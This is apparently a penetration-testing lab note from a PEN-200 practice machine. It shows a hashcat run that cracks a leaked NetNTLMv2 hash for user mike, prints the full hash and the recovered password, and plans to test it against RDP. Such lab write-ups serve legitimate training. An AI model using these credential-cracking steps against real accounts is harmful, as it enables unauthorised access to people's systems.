Monster_NTLM_Leak

NTLM Leak

---

NTLM hash of the mike user has been leaked by PEAS

Password Cracking

---

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/monster]
└─$ hashcat -0 -m 5600 ./mike.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
 
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
 
Dictionary cache hit:
* Filename..: .\rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
 
MIKE::MIKE-PC:1122334455667788:6abd2ff4f31c852f7d0cfa77ae15c477:0101000000000000a4c0d23399b0db01ff3e5be0f958ca6b0000000008003000300000000000000000000000002000005745f0b31ec1924f045f0bc19ce18ddc9bbb8d3fd6dce763e75f3e1f7c01d0470a00100000000000000000000000000000000000090000000000000000000000:Mike14
 
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: MIKE::MIKE-PC:1122334455667788:6abd2ff4f31c852f7d0c...000000
Time.Started.....: Fri Apr 18 21:44:35 2025 (0 secs)
Time.Estimated...: Fri Apr 18 21:44:35 2025 (0 secs)
Kernel.Feature...: Optimized Kernel
Guess.Base.......: File (.\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 54649.2 kH/s (1.53ms) @ Accel:512 Loops:1 Thr:128 Vec:1
Speed.#3.........:  4491.1 kH/s (15.43ms) @ Accel:64 Loops:1 Thr:64 Vec:4
Speed.#*.........: 59140.3 kH/s
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 2097282/14344385 (14.62%)
Rejected.........: 130/2097282 (0.01%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Restore.Sub.#3...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> SABOR
Candidates.#3....: bragg426 -> SAKURA2
Hardware.Mon.#1..: Temp: 58c Util:  0% Core:1792MHz Mem:6001MHz Bus:8
Hardware.Mon.#3..: N/A
 
Started: Fri Apr 18 21:44:32 2025
Stopped: Fri Apr 18 21:44:36 2025

Password hash cracked; Mike14 Validating against the target RDP server